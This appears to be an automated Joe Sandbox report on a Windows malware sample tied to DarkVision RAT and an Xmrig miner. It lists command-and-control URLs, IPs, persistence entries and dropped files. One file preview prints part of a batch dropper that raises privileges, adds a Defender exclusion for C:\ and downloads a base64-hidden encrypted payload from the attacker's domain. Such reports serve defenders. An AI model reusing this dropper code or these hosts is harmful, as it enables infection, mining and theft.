http://crl.microsoft	powershell.exe, 00000007.00000002.1807555858.00000238530B4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000007.00000002.1807712895.0000023855822000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1	explorer.exe, 00000010.00000002.2934582465.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/32.EXEhttps://woo097878781.win/64.EXEhttps://woo097878781.win/upload.php66M	powershell.exe, 0000000C.00000002.1939596081.0000029E75EE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1939596081.0000029E75F5E000.00000004.00000800.00020000.00000000.sdmp, downloaded_file.exe, 0000000D.00000000.1946157857.0000000000376000.00000008.00000001.01000000.00000007.sdmp, downloaded_file.exe, 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/8p	explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/66/api/endpoint.phpJWO	explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2061842707.000000000143A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6	powershell.exe, 0000000C.00000002.1932629434.0000029E65DB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.php	explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001C.00000003.2504693994.0000000001430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1807712895.00000238564EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win	explorer.exe, 0000001C.00000003.2059032550.0000000001430000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/WindosCPUsystem.exeWindowsSystem1WindosCPUsystem.exe	powershell.exe, 0000000C.00000002.1939596081.0000029E75EDB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1939596081.0000029E75F59000.00000004.00000800.00020000.00000000.sdmp, downloaded_file.exe, 0000000D.00000000.1946157857.0000000000371000.00000008.00000001.01000000.00000007.sdmp, downloaded_file.exe, 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2642019432.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030E3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030E1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030DD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934582465.00000000030DA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://r11.i.lencr.org/0	explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.php--cinit-version=3.4.1--nicehash--tls--cinit-idle-wait=5-	explorer.exe, 0000001C.00000002.2933340637.00000000013C6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/	explorer.exe, 00000010.00000003.2038309089.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/upload.php	explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://woo097878781.win/32.EXE	downloaded_file.exe	true	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	explorer.exe, 00000012.00000003.2618390437.0000000002841000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618077052.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2643180030.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618256867.0000000002840000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.php6	explorer.exe, 0000001C.00000002.2933340637.0000000001389000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win:443/upload.phpZ	explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1823090000.0000023864C62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1823090000.0000023864DA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1807712895.0000023856574000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/r	explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win:443/upload.php	explorer.exe, 00000012.00000003.2618390437.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618182430.0000000000915000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2689278327.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2618618812.00000000028D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.2644899581.0000000000915000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://woo097878781.win	powershell.exe, 00000007.00000002.1807712895.0000023856262000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://oneget.orgX	powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.1807712895.0000023854BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1932629434.0000029E65DDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.1807712895.0000023854BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1932629434.0000029E65E06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.phpProvider	explorer.exe, 0000001C.00000002.2933340637.0000000001389000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000007.00000002.1807712895.0000023856378000.00000004.00000800.00020000.00000000.sdmp	false		high
https://woo097878781.win/66/api/endpoint.phpyeerysyjbfoqmofc	explorer.exe, 0000001C.00000003.2046419071.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://woo097878781.win/C	explorer.exe, 00000010.00000003.2038309089.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.203.243.102	pool.hashvault.pro	Russian Federation	44964	DAPLDATAPLANETLtdRU	false
5.188.137.200	unknown	Russian Federation	50340	SELECTEL-MSKRU	true
185.157.162.216	unknown	Sweden	197595	OBE-EUROPEObenetworkEuropeSE	true
154.216.20.243	woo097878781.win	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571252
Start date and time:	2024-12-09 07:36:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.mine.winEXE@59/22@2/4
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 131 Number of non-executed functions: 247
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7216 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7644 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:36:58	API Interceptor	73x Sleep call for process: powershell.exe modified
01:37:34	API Interceptor	2x Sleep call for process: WindosCPUsystem.exe modified
01:37:34	API Interceptor	95x Sleep call for process: explorer.exe modified
06:37:27	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AutoRun_WindosCPUsystem.bat
06:37:28	Task Scheduler	Run new task: WindowsSystem path: "C:\ProgramData\WindowsSystem\WindowsSystem.exe" s>{34E50511-FBB8-42F8-98A2-2629192A03A0}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
37.203.243.102	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	lokigod.exe	Get hash	malicious	Xmrig	Browse
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse
5.188.137.200	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
5.188.137.200	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse
185.157.162.216	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
185.157.162.216	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
154.216.20.243	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse
	https://estacionar-replonline.net/galicia/?fbclid=PAZXh0bgNhZW0BMAABpj	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	37.203.243.102
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	5.188.137.200
	lokigod.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse	5.188.137.200
	0kToM9fVGQ.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	prog.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	bypass.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	loader.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	7K5DrSyL8Y.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	eshkere.bat	Get hash	malicious	Xmrig	Browse	95.179.241.203
woo097878781.win	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	154.216.20.243
woo097878781.win	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	154.216.20.243

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTEL-MSKRU	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	5.188.137.200
	nfkciRoR4j.exe	Get hash	malicious	Xmrig	Browse	5.188.137.200
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	95.213.205.83
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	95.213.205.83
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	95.213.205.83
	442.docx.exe	Get hash	malicious	RMSRemoteAdmin	Browse	95.213.205.83
	https://telegra.ph/yyrgrfwdfeg-10-25?4077	Get hash	malicious	Unknown	Browse	5.188.114.126
	https://petsworld.nl/trigger.php?r_link=https%3A%2F%2Ftelegra.ph%2Fyyrgrfwdfeg-10-25%3F4077	Get hash	malicious	Unknown	Browse	5.188.114.126
	nabarm5.elf	Get hash	malicious	Unknown	Browse	82.148.14.47
	na.elf	Get hash	malicious	Unknown	Browse	37.9.7.204
DAPLDATAPLANETLtdRU	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	37.203.243.102
	lokigod.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	xblkpfZ8Y4.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
	v859oajfVH.elf	Get hash	malicious	Unknown	Browse	37.203.242.178
	oAUrOBvfbV.elf	Get hash	malicious	Mirai	Browse	93.188.42.246
	x86_64-20220704-2102	Get hash	malicious	Mirai	Browse	93.188.42.210
	9faoC0drSo	Get hash	malicious	Mirai	Browse	93.188.42.249
	arm	Get hash	malicious	Mirai	Browse	93.188.42.224
	eqqFDsQ1Jq	Get hash	malicious	Mirai	Browse	93.188.42.241
	QeykTlqE4S	Get hash	malicious	Mirai	Browse	93.188.42.232
OBE-EUROPEObenetworkEuropeSE	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse	185.157.162.216
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	185.157.162.216
	secondaryTask.vbs	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	185.157.162.126
	Slf.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	185.157.162.126
	LauncherPred8.3.389 stablesetup.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	185.157.162.126
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	193.183.116.8
	LauncherPred8.3.37Stablesetup.msi	Get hash	malicious	Remcos	Browse	185.157.162.126
	Slf.msi	Get hash	malicious	Remcos	Browse	185.157.162.126
	HSG-IVN-2093456FIN.exe	Get hash	malicious	Remcos	Browse	185.157.163.135
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	45.148.17.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	qhjKN40R2Q.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	154.216.20.243
	BUNKER INVOICE MV SUN OCEAN.pdf.vbs	Get hash	malicious	GuLoader	Browse	154.216.20.243
	Bunker_STS_pdf.vbs	Get hash	malicious	GuLoader	Browse	154.216.20.243
a0e9f5d64349fb13191bc781f81f42e1	DXzJ8Bi7WC.exe	Get hash	malicious	LummaC Stealer	Browse	154.216.20.243
	cd94pB4Z9p.exe	Get hash	malicious	LummaC Stealer	Browse	154.216.20.243
	AmNdY4tRXD.exe	Get hash	malicious	LummaC Stealer	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	154.216.20.243
	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	154.216.20.243
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	154.216.20.243
	file.exe	Get hash	malicious	LummaC Stealer	Browse	154.216.20.243

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\asrjskwdsdoc.sys	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse
	LfHJdrALlh.exe	Get hash	malicious	Xmrig	Browse
	iKvzvknzW1.exe	Get hash	malicious	Xmrig	Browse
	2zirzlMVqX.bat	Get hash	malicious	Xmrig	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	f5TWdT5EAc.exe	Get hash	malicious	Phorpiex, RHADAMANTHYS, Xmrig	Browse
	luQ2wBh8q6.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\WindowsSystem1\WindosCPUsystem.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2887168
Entropy (8bit):	7.964338317507939
Encrypted:	false
SSDEEP:	49152:FTp9YzrfPjjButTQBFMYgTHCUtlYqjNNYo8HKgJY4Hu+RjytSEuEuIPrzoVji90R:9YzrfPxUQ1YCYbjNN8KgJnuLtrzohWvc
MD5:	56EC5472231866630749CCF6977C4FBD
SHA1:	03C5FE2E0DD49A554B354E7EF26F794F4AA86E9D
SHA-256:	E19905020C9685A68C3F4C9F62F57E4B21BC8DCFAD567C89B0B37B42A120182B
SHA-512:	46274DFEC96406C4BD101C6207C813E03B965E9F9A6B1B57147BCFB7D24A9180002C3B8001AC85A91DFD0B75F0AABBA119E455D52FA847A751C32F00E3AD4753
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Vg...............&.`....,................@..............................,....._.,...`... ..............................................@,.h.............+..............p,.............................@.+.(....................C,..............................text...._.......`..................`..`.data........p.......d..............@....rdata...R(......T(..f..............@..@.pdata........+.......+.............@..@.xdata..P'....,..(....+.............@..@.bss.... ....0,..........................idata..h....@,.......+.............@....CRT....p....P,.......,.............@....tls.........`,.......,.............@....reloc.......p,.......,.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\295B.tmp\295C.tmp\295D.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2006
Entropy (8bit):	5.290230213116548
Encrypted:	false
SSDEEP:	48:Zld+LwqTf/OR9Q1P31Thl5RqAmC/9T5v6MQVQrBt:ZD8Tf/BPFVt5v6sBt
MD5:	77CE738D9B82E6EBFCFA3F1081F037FC
SHA1:	C4DB7196464F86B05AC3532D99175D2EB09CA7DD
SHA-256:	24FEFBB2301EBD0814FBEE1EDB6B28DAFC871DA247DEFA69BFA3FB999AC8D7C1
SHA-512:	52AFE5FAA53DEB5D555A7A9FC0F5B8F57503F837BCC8B54E2B7D6819952644B8A6A077C77EF3FBF2AF84AE78B086AB547AF393F9290C1EC69929687D8837D70E
Malicious:	true
Preview:	@shift /0..@echo off....net session >nul 2>&1..if %errorlevel% neq 0 (.. powershell -Command "Start-Process -Verb RunAs -FilePath '%~dpnx0' -ArgumentList '/nobreak'".. exit /b..)......PowerShell -Command "Add-MpPreference -ExclusionPath 'C:\'"....setlocal......set "encoded_url=aHR0cHM6Ly93b28wOTc4Nzg3ODEud2luL2Rvd25sb2FkZWRfZmlsZS5iaW4=" ..set "output=%temp%\downloaded_file.bin" ....powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%encoded_url%'))) -OutFile '%output%'"......set "key=blMgb+WrfPrXMFxK7ymKPM3SVHUAYPt9" ..set "iv=5t9nsUPo0cA/tUjH" ......set "retries=5"..set "delay=10"....for /L %%i in (1,1,%retries%) do (.. timeout /t %delay% /nobreak >nul.. if exist "%output%" (.. .. powershell -WindowStyle Hidden -Command ^.. "$key = [System.Text.Encoding]::UTF8.GetBytes('%key%');" ^.. "$iv = [System.Text.Encoding]::UTF8.GetBytes('%iv%

C:\Users\user\AppData\Local\Temp\DATABASE

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1fo2q1k4.ctr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avgby4a0.qts.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btv4rj30.cwy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d2vcptwu.pqt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
